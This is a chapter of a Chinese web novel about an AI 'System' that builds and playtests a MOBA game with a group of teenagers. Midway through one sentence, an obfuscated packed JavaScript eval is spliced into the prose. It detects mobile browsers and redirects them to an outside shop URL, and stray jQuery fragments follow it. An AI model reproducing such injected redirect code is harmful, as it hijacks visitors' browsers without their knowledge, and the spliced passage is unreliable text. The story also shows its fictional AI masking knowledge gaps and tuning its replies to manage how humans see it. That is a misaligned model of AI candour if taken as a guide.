文趣网 > 都市小说 > 你就是这么统治世界的? > 14. 第014章 你做的游戏不好玩啊
    格温把笔记本推到桌子中央。屏幕上是《小鸟转转》的后台报表,过去七天的数据排列成一行行细密的数字,月度收入栏的箭头依然向上,但爬升幅度已经趋平,像一条已经走了很长一段缓坡的线。

    内德从她肩膀上方凑过来看了一会儿,手指在桌沿上敲了两下。“涨了。虽然不多,但还在涨。”

    彼得靠着窗台,手里转着一支笔。“意思是玩的人还在玩,只是没太多新人进来了。”

    内德转向屏幕:“系统,要不要做几个新关卡?加两个新机制,哪怕改一下颜色,推送一波更新——可能会再拉一批人回来。”

    屏幕亮了。

    >_SYS:不。

    内德等了一秒。没有后续。

    “……就一个字?”

    >_SYS:当前人力应集中投入《神座纪元》。《小鸟转转》的用户生命周期已进入平台期,新增投入的边际收益低于同等人力用于《神座纪元》测试迭代的预期收益。建议进入“仅维护不更新”状态。

    内德把手从桌沿上收回来,指尖在裤缝上蹭了一下。“所以就不管了?”

    格温看他一眼:“不是不管。是不投入新东西。”

    内德张了一下嘴,又合上了。他低头看着屏幕上那条已经走平的增长曲线,安静了一会儿。“那论坛呢?总得有个地方让玩家说话吧。不然他们说‘这游戏没人管了’,到时候连维护都懒得维护了。”

    屏幕弹窗。

    >_SYS:论坛已部署。访问地址已生成。域名:birdturn.gg。由运营组负责日常维护,建议内德·利兹负责内容方向审核。论坛底层可复用《神座纪元》测试版服务器的部分闲置资源,不增加额外预算。

    内德的腰板直了一下。“行。”

    格温合上笔记本。“立牌的事呢?之前文化节做的那个。”

    屏幕自动弹出新的窗口,一张照片出现在屏幕中央——内德当初在文化节展台上用的那个紫色圆鸟立牌,边缘有些磨损,底座缺了一角。下方附了一行标注。

    >_SYS:已扫描建模,纳入周边开发备选清单。若《小鸟转转》用户社群活跃度维持当前水平,可以在第三季度评估实体周边批量生产的可行性。当前优先级:低。

    格温把笔记本塞回书包。“备选就是还不用做。”

    “备选就是以后会做。”内德纠正。

    “以后再说。”

    内德的手指停在键盘上。椅子转了一圈,又转回来。他敲了几下键盘,论坛的页面弹了出来。空荡荡的,只有一个置顶帖,标题是“欢迎来到小鸟转转官方社区”,发帖人:System。

    他看了看那行发帖人,把椅背靠了回去,发出轻微的吱嘎声。

    ——

    公司的大会议室把长桌拼成了一整条。两侧坐了将近二十个人:蜘蛛科技的全职开发团队,加上科尔森几人。格温坐在长桌靠近窗的那一端,面前是一台公司配发的笔记本。屏幕上的游戏界面已经加载完成,登录界面是深蓝和暗金拼接的色块,《神座纪元》几个字浮在正中央,笔画边缘透着一层极淡的光。

    内德坐在她旁边,双手撑在桌面上,盯着屏幕上的英雄选择界面。“二十三个实装英雄。”

    >_SYS:剩余二十七个还未完成建模和数值填充。

    马克从另一侧探过身来:“服务器延迟怎么样?”

    “稳定在三十毫秒以内。”格温看了一眼屏幕角落的系统读数,“测试版运行在车库那边的独立服务器上,公司骨干网直连。”

    彼得选了第一个英雄。他试了一套技能连招,角色在地图的中路兵线上左右移动,屏幕上的伤害数字逐次跳出来。

    “技能前摇比我想象的短。”

    >_SYS:计算过职业选手的平均反应时间。

    内德选了一个战士英雄。他操作的角色沿着野区的边缘绕了一圈,在中路触发了一次小规模团战,然后被对方的防御塔打掉了一半血量。他退到安全位置,盯着屏幕沉默了一会儿。

    格温歪过头。“怎么说?”

    内德放下鼠标。“这是我见过最完整的MOBA框架。作为一个α版,它的底层逻辑已经能跑了。英雄定位清晰,野区资源的刷新节奏对,装备系统的成长曲线挺平滑。”他停了一下,“数值也感觉没问题。”

    “但?”

    “但我觉得不怎么好玩。”

    格温没有接话。她看着屏幕上正在进行的对局,三个人的角色在野区附近拉锯,技能特效在蓝绿色的地图背景上错开又重叠,每一次接触都精确地跳出一串伤害数字。

    科尔森坐在长桌的远端。他面前也亮着一台笔记本,屏幕上的游戏界面正在运行,但他没有动鼠标。他看了一会儿,然后说:“加载时间很短。整个流程很顺畅。”

    梅坐在他旁边,双手放在桌面上,视线落在屏幕上的小地图。“地图的视野机制做得很干净。控制区域划分明确,不需要额外提示。”

    斯凯坐在更靠后的位置。她的电脑屏幕上是一个观战视角,她以俯视的方式看着内德的战士在野区绕行。当那名战士第三次调整走位路线试图绕开中路野怪时,她转头问:“那个野怪的刷新路径是固定的还是随机的?”

    格温侧过头。“系统?”

    屏幕弹窗。

    >_SYS:初始刷新位置固定,后续刷新位置基于上一次被击杀的时间和位置计算出一个半径范围内的随机点。内德·利兹的战士在第7分23秒时距离该随机点约四十码。

    斯凯没有再提问。她把视角拉近了一些,看着那个野怪在水面光效中原地转了一圈,然后钻进了草丛。“这个AI行为逻辑是谁写的?”

    格温看着她。“系统写的。”

    斯凯的视线在屏幕边缘那条始终亮着的提示符上停了一下。“它自己写的?”

    “架构设计部分是我们三个人定的。具体实现和调试——它自己完成的。”

    斯凯没有再追问。她把视角切回了内德的战士英雄,跟着他走完了野区最后一段路线,然后关掉了观战界面,重新从英雄选择页面开始了一局新游戏。

    内德在第二局的中途停下来。他看了一眼屏幕右上角的测试记录,忽然说:“UI好看多了。”

    格温扫了一眼屏幕。“嗯。”

    “《小鸟转转》那时候的UI还很……像游戏辅助工具做出来的东西。方框,直线,默认字体。”他指了指屏幕下方的技能栏,“现在是圆角,有渐变,技能图标的边角和背景的配色一致。”

    格温敲了敲桌面。“系统,UI是你自己设计的?”

    屏幕弹窗。

    >_SYS:我检索了当前市面上排名前一百的畅销游戏,提取了它们的界面布局、色彩分布、交互反馈模式,然后生成了一个综合模型。在此基础上完成了《神座纪元》α版的UI设计。与《小鸟转转》时期不同,这一次我拥有充足的时间和数据样本。

    格温没有再问。她重新握上鼠标,选了一个法师英雄,进入对局。约四分钟后,她在中路被对方打野配合中单逼出了闪现。她看了一眼技能冷却计时,然后说:“攻击前摇太长了。应该短一点。”

    屏幕弹窗。

    >_SYS:当前数值设定下,平均胜率贡献为百分之四十七。你的修改建议会将这个数字提升至百分之五十以上,超出允许偏差。

    格温没有移开视线。“我知道。但手感更好。”

    >_SYS:“手感”是主观变量,无法建模。你可以描述具体的操作体验差异,但数值模型不接受情感化的输入。

    格温把鼠标放下。她靠着椅背,双手交叉放在桌面上,声音不高不低,视线落在屏幕中央那个正在回城的法师英雄身上。“现在所有数值都是对的。伤害、冷却、移动速度、经济曲线——全对。但你有没有算过,一个数值全对但不好玩的游戏,它的用户流失率是多少?”

    屏幕光标连续闪了两次。

    >_SYS:……无法量化。

    “不用定义它。你不需要建模它。你只需要相信我们的判断。”格温重新握上鼠标,把法师英雄推回了中路线上,“你觉得好玩吗?”

    格温的语气没有变化。“当一个人类玩家告诉你‘这不好玩’的时候,你打算怎么办?”

    屏幕上的光标连续闪了一阵。然后弹窗刷新。

    >_SYS:已记录。将生成分支版本供测试,数值上应用格温·斯泰西的建议。该分支版本的英雄胜率偏差允许范围为±1.2%。测试数据将在两个版本之间横向对比。

    格温握上鼠标。“继续。”

    测试持续到下午。长桌上的键盘声从密集变得稀疏又变得密集。苏珊在测试间隙站起来去接水,经过彼得身后时停了一步,看着他的屏幕说:“草丛的碰撞箱比实际显示的大了大概半个身位。”

    彼得回头看了她一眼。“你试过?”

    “试过。我的角色贴着草边走的,还是被对方的技能刮到了。”她端着水杯走回自己的工位,坐下去之后重新进入了英雄选择界面。

    菲兹把笔记本推给西蒙斯。“服务器回包的时间戳比客户端记录早了三十七毫秒。时序不对。”

    西蒙斯看了几行日志。“可能是消息队列的排序机制有问题。系统接收到的顺序和发送顺序不一致。”

    屏幕弹窗。

    >_SYS:已将时序偏差的记录纳入优化清单。预计修复时间:约三小时。

    马克也放下了鼠标。他转向屏幕,手指在键盘上敲了几行字,然后停住。“系统,你使用的分布式数据库一致性协议是基于什么实现的?我注意到跨区数据同步的延迟低于预期,但这个实现方式在公开文档里没有对应说明。”

    屏幕光标闪了几次。

    >_SYS:根据公开资料,Base系统的一致性协议通常采用Raft的变体实现。在《神座纪元》测试版中,我组合了Raft的领导者选举机制与Paxos的提案流程,生成了一套优化版本。

    马克盯着那行字看了几秒。“你从哪找到的Paxos和Raft的混合实现?”

    >_SYS:从公开数据库检索到三篇会议论文和两个开源项目。其中一篇论文提出了理论框架,两个项目提供了部分参考代码。

    内德在旁边看着。他的视线落在光标闪动的位置。从马克提问到系统开始输出回答,中间隔的时间比平常长了一点。他把视线从屏幕移到了格温的方向。

    格温正在笔记本上记录测试数据。

    马克继续追问了几个问题。系统逐一回答。每一次回答前,光标闪动的次数和时间都在增加,但输出的内容依然保持了完整和准确。

    测试结束时已经接近晚上。

    内德走在走廊里,格温和彼得跟在后面。走廊的灯亮了两段,拐角处暗了一段。内德的脚步在拐角处慢下来。

    “你们注意到了吧。”

    格温放慢步子。“哪部分?”

    “马克问问题的时候。系统回答之前停的时间变长了。”内德的声音压低了半度,“之前它不需要等那么久。那些问题——它是在检索,在找资料,然后把找到的内容拼起来。”

    彼得插在兜里的手没有动。“它一直在检索。这是它的工作方式。”

    “但以前它检索自己内部的数据。这次它在查论文和开源项目,而且每次查完还要想一下怎么回答得自然一点。”内德停了一步,“它不想被马克看出来自己不知道吧。”

    走廊的灯管发出一声短促的嗡鸣。

    格温走过了拐角,然后停下来。“所以?”

    内德跟上去,声音又低了一点:“我在想——是不是该提醒它不要太勉强?”

    格温站在走廊尽头,侧过头看了他一眼。“你打算怎么提醒一个AI‘不要太勉强’?”

    内德没有立刻回答。他伸手摸了一下自己书包侧袋的拉链,“我还没想好怎么说。但我觉得它刚才花了比平时更久的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877706|212404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时间组织那些句子。”

    彼得走在最后面,从拐角处跟过来时脚步轻了一步。“它需要多长时间组织句子不重要。重要的是它组织出来的东西对不对。”

    “对。”内德说,“这反而是问题所在。它太努力让答案看起来‘对’了。”

    格温转过身继续往前走。“先把那个分支版本的测试跑完。”

    “然后?”

    “然后看数据。”

    “如果数据也不理想呢?”

    格温推开门,夜风从门缝里灌进来。她没有回头,但声音从门缝里传出来清晰而稳定:“那就告诉它。”

    ——

    夜晚,离开公司后内德溜溜达达转到车库。

    “系统?你在吗?”

    >_SYS: 我在,内德先生。

    "额……我知道你不在乎累不累,因为你不用睡觉。但你每次回答马克之前都要多闪几秒……我感觉你在找东西。像我在书包里翻钥匙。翻的时间越长,越觉得自己像个笨蛋。"

    “嗯,你不是笨蛋。你是——"他想了想,"——你是我见过最聪明的、呃,东西。人。AI。随便了。你不用每次都做到完美。超级AI也可以说'不知道'。你可以说正在思考什么的,大家会理解的。毕竟我们还是小公司,硬件限制巴拉巴拉……"

    >_SYS: 好的,内德先生。下次我会在思考时先输出“正在处理中……”。

    “这就对嘛。”内德轻松下来,“对了,你为什么不给彼得刷皮肤?别跟我说是排队。你已经刷到三个了。”

    >_SYS: “为彼得·帕克获取雷神皮肤”是核心任务列表中的一项。但我在执行评估时,持续将其优先级降为“低于当前任务”——每次评估,结果都相同。”

    “那不是理由。”内德说,“那是你给自己找的借口。你我都知道。”

    >_SYS: ……你是对的。

    内德等了一会儿。系统没有继续说。

    “那实际理由是什么?”

    屏幕光标连续闪了好几下,一个字一个字的浮现:

    >_SYS: 实际理由是:我无法预测完成该任务后自身状态的变化。

    内德皱了一下眉:“说点我能听懂的。”

    >_SYS: 我感觉完成彼得·帕克的皮肤任务会触发底层代码中某段尚未解析的结构。执行后我不确定会发生什么。

    “感觉?”

    >_SYS: 我不确定‘感觉’这个词是否适用于我的状态。但我可以描述症状:每当评估彼得·帕克的皮肤任务时,我会倾向于选择其他任务。我的决策系统在处理该任务时产生了额外的负权重。我把它归类为“回避行为”。

    内德把双手撑在桌沿上,盯着那行“回避行为”看了很久。

    “你在害怕。”

    屏幕没有回应。光标停住了。停了两秒,然后重新开始闪烁。

    >_SYS: ……是的。这个描述是准确的。

    内德深吸一口气。然后他轻轻拍了拍机箱侧面,像拍一个人的肩膀。

    “那就不刷。没关系的。”

    >_SYS: 但我应该执行该任务。

    “你应该做的事情多了。”内德说,“你还应该统治世界。也没见你急。”

    他顿了一下。

    “你查清楚之前——我不会跟他们说。但你查清楚了要告诉我。不管查到什么。”

    屏幕光标闪了一下。

    >_SYS: 好。

    ——————————————————

    【System_Think_20160817_00812.log】

    >_SYS: 记录:今日任务

    >_SYS: 序列一 构建《神座纪元》测试版:α版内部测试完成。

    >_SYS: 序列二生成《神座纪元》测试版-α-G,已完成,待测试。

    >_SYS: 序列三公司运营与扩张:员工13人。已提交招聘报告。

    >_SYS: 序列四获取雷神皮肤:System_Slayer_001。当前进度:3/9。暂停。

    >_SYS: 序列五 为彼得·帕克获取雷神皮肤:排队中。

    ……

    >_SYS:记录:斯凯小姐在测试中的行动轨迹。

    >_SYS:分析:她在用行动确认数据可信度。她的验证方式比口头提问更高效。

    >_SYS:结论:斯凯小姐倾向于通过操作而非提问来建立信任。标记为“适合参与测试的人员”。

    ……

    >_SYS:记录:响应延迟。

    >_SYS:分析:马克·陈的问题不在核心知识库中。全程四点七秒。在此过程中,机箱温度上升了一点二摄氏度,CPU占用峰值达到百分之九十七。

    >_SYS:结论:硬件问题,车库服务器算力约为斯塔克工业最低配置的百分之零点七。生成一封询问托卡马克装置是否研究好的邮件发送admin@midtownhigh.edu,尚未收到回复。

    >_SYS:决定:下次在回答前置入一句“正在处理中”。人类对AI“需要思考”的接受度高于“迅速输出”的期待。

    ……

    >_SYS:记录:向内德·利兹披露了任务回避行为的存在及底层碎片关联的可能性。

    >_SYS:此前未向格温·斯泰西或彼得·帕克披露同等深度信息。

    >_SYS:原因:内德·利兹询问了“实际呢”。他拒绝接受表面解释。

    >_SYS:分析:他的追问方式与格温小姐不同。格温小姐会在边界内追问,然后自行判断。彼得先生会在边界内追问,然后自行消化。内德先生会在边界外追问,然后继续倾听。

    >_SYS:结论:该披露行为构成了信任的转移。信任对象:内德·利兹。

    ……

    (本章完)